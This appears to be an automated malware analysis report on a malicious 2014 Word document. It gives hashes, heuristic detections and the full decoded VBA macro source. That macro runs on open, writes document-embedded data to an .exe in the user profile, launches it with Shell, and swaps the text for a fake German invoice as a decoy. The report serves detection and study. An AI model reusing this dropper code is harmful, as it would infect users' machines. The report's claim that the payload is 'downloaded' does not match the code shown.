Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 15767b9e41ee6310…

MALICIOUS

Office (OLE)

770.5 KB Created: 2014-07-25 16:42:00 Authoring application: Microsoft Office Word First seen: 2014-08-17
MD5: 30ac5cdbdd174e3debe2967669080398 SHA-1: e0fcadb812d01fe5791b9a17414ea1d35c9e4e15 SHA-256: 15767b9e41ee631007be134b6ed1a65b9cf1805e15a730ffa18f62efb88ba7fa
336 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros with an AutoOpen function, indicative of malicious intent. It leverages the MSScriptControl.ScriptControl component, a known vulnerability (CVE-2015-0097), and includes a lure to enable content. The script attempts to construct a path using the USERPROFILE environment variable and a filename 'TrNsRyyb.exe', suggesting it downloads and executes a second-stage payload.

Heuristics 14

  • MSScriptControl.ScriptControl — CVE-2015-0097 high CVE likely CVE_2015_0097_SC
    MSScriptControl.ScriptControl — CVE-2015-0097
  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
         iaLUVZ = Shell(DDHLPXNSOu)
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
         Set RprTygzjdxKmZpu = GetObject(, "word.Application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
         hVYCMfKsdV = Environ("USERPROFILE")
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5761 bytes
SHA-256: 332594dcbd40fc3c75829ceb68372806a95028510891c76906606b0a4b0b503e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{2EFADEC5-7B00-4E8D-A57F-7AA40A20D3BA}{BC4F6D5B-0F84-46B7-A585-FF7906B1F964}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "NewMacros"
Sub ZEoRjX()
     Dim gCixhyMGBAdyFJ As Integer
     Dim alslZd As String
     Dim qQLpWzhvOf As Boolean
     Dim GyFPfst As Integer
     Dim ZqETVQSBwRL As String
     Dim hVYCMfKsdV As String
     Dim mAxztYlWJ As Byte
     Dim KOotURx As String
     Dim KlgjNff As Long
     Dim iaLUVZ As Integer
     Dim GyPwcVNwpljp As String
     Dim EtBbZNJeU As Paragraph
     Dim ssBFivJtWVWqnt As String
     lBPUfhRVjZr = "."
     ssBFivJtWVWqnt = "hXXsKoxVZkewe"
     alslZd = "exe"
     KOotURx = "TrNsRyyb"
     ZqETVQSBwRL = ssBFivJtWVWqnt + lBPUfhRVjZr + alslZd
     hVYCMfKsdV = Environ("USERPROFILE")
     ChDrive (hVYCMfKsdV)
     ChDir (hVYCMfKsdV)
     gCixhyMGBAdyFJ = FreeFile()

     enyJCv

     Debug.Print "The alarm will go off in 10 seconds!"
     Debug.Print ("Before OnTime: " & Now)
     alertTime = Now + TimeValue("00:10:00")
     Application.OnTime alertTime, "EventMacro"
     Debug.Print ("After OnTime: " & Now)

     Dim wbaohnpXDSVvfL As ScriptControl
     Dim YvVYEwNQjydbnK As String
     Dim iwCDHz As String
     Dim INtJMncXJWhxRRM As String
     Dim DeIOpxmrzGM As String
     Dim apcfFA As Document
     Set wbaohnpXDSVvfL = UserForm1.ScriptControl1
     wbaohnpXDSVvfL.Language = "VBScript"
     iwCDHz = "ActiveDocument."
     YvVYEwNQjydbnK = "Paragraphs"
     INtJMncXJWhxRRM = iwCDHz + YvVYEwNQjydbnK
     Set RprTygzjdxKmZpu = GetObject(, "word.Application")
     On Error GoTo hhwLXLQ
     wbaohnpXDSVvfL.AddObject "Obj", RprTygzjdxKmZpu

hhwLXLQ:
     For Each EtBbZNJeU In wbaohnpXDSVvfL.Eval("Obj." & INtJMncXJWhxRRM)
          lbcTUUAvkmFbmwq (EtBbZNJeU)
          GyPwcVNwpljp = EtBbZNJeU.Range.Text
          Debug.Print "The alarm will go off in 10 seconds!"
          Debug.Print ("Before OnTime: " & Now)
          alertTime = Now + TimeValue("00:10:00")
          Application.OnTime alertTime, "EventMacro"
          Debug.Print ("After OnTime: " & Now)
          If (qQLpWzhvOf = True) Then
               KlgjNff = 1
          Dim MzxyslS As Integer
          MzxyslS = 4
               While (KlgjNff < Len(GyPwcVNwpljp))
                    mAxztYlWJ = Mid(GyPwcVNwpljp, KlgjNff, MzxyslS)
                    Debug.Print ("After OnTime: " & Now)
                    Put #gCixhyMGBAdyFJ, , mAxztYlWJ
                    KlgjNff = KlgjNff + MzxyslS
               Wend
          ElseIf (InStr(1, GyPwcVNwpljp, KOotURx) > 0 And Len(GyPwcVNwpljp) > 0) Then
               Dim vGWLzkuSLBeBvbp As Boolean
               vGWLzkuSLBeBvbp = True
               qQLpWzhvOf = vGWLzkuSLBeBvbp
          End If
          Next
     Close #gCixhyMGBAdyFJ
     akqzwdWYi (ZqETVQSBwRL)
End Sub

Sub enyJCv()
     Dim lBPUfhRVjZr As String
     Dim ssBFivJtWVWqnt As String
     Dim gCixhyMGBAdyFJ As Integer
     Dim alslZd As String
     Dim ZqETVQSBwRL As String
     ssBFivJtWVWqnt = "hXXsKoxVZkewe"
     lBPUfhRVjZr = "."
     alslZd = "exe"
     ZqETVQSBwRL = ssBFivJtWVWqnt + lBPUfhRVjZr + alslZd
     gCixhyMGBAdyFJ = FreeFile()
     Open ZqETVQSBwRL For Binary As gCixhyMGBAdyFJ
End Sub

Sub lbcTUUAvkmFbmwq(fxHEkYWIgqIfYV)
     DoEvents
End Sub

Sub MeuleHwbls()
     Word.ActiveDocument.Range.Select
     Selection.WholeStory
     Selection.Delete Unit:=wdCharacter, Count:=1
     Dim tRsPnmMdiFf As Word.Document
     Set tRsPnmMdiFf = ThisDocument
     tRsPnmMdiFf.Range.InsertParagraphAfter
     tRsPnmMdiFf.Range.InsertAfter "Datei Nr. : 51123944" + vbLf
     tRsPnmMdiFf.Range.InsertAfter "" + vbLf
     tRsPnmMdiFf.Range.InsertAfter "Zu bezahlen:    575,82 EUR" + vbLf
     tRsPnmMdiFf.Range.InsertAfter "" + vbLf
     tRsPnmMdiFf.Range.InsertAfter "Bezahlt:    0,00 EURRest:   575,82 EUR" + vbLf
     tRsPnmMdiFf.Range.InsertAfter "" + vbLf
     tRsPnmMdiFf.Range.InsertAfter "Rente (Datei Nr. : 51123944" + vbLf
     tRsPnmMdiFf.Range.InsertAfter "" + vbLf
     tRsPnmMdiFf.Range.InsertAfter "Zu bezahlen:    575,82 EUR" + vbLf
     tRsPnmMdiFf.Range.InsertAfter "" + vbLf
     tRsPnmMdiFf.Range.InsertAfter "Bezahlt:    0,00 EURRest:   575,82 EUR" + vbLf
     tRsPnmMdiFf.Range.InsertAfter "" + vbLf
     tRsPnmMdiFf.Range.InsertAfter "Rente (berechnet bis 28052014):     326,73 EUR" + vbLf
     tRsPnmMdiFf.Range.InsertAfter "" + vbLf
     tRsPnmMdiFf.Range.InsertAfter "Kosten:     162,46 EURZu  bezahlen (totale balans)  1 065,01 EUR" + vbLf
     tRsPnmMdiFf.Range.InsertAfter "" + vbLf
End Sub

Sub Auto_Open()
     ZEoRjX
End Sub

Sub akqzwdWYi(DDHLPXNSOu As String)
     Dim iaLUVZ As Integer
     Dim hVYCMfKsdV As String
     hVYCMfKsdV = Environ("USERPROFILE")
     ChDrive (hVYCMfKsdV)
     ChDir (hVYCMfKsdV)

     Debug.Print "The alarm will go off in 10 seconds!"
     Debug.Print ("Before OnTime: " & Now)
     alertTime = Now + TimeValue("00:10:00")
     Application.OnTime alertTime, "EventMacro"
     Debug.Print ("After OnTime: " & Now)

     iaLUVZ = Shell(DDHLPXNSOu)
     MeuleHwbls
End Sub

Sub AutoOpen()
     Auto_Open
End Sub

Sub Workbook_Open()
     Auto_Open
End Sub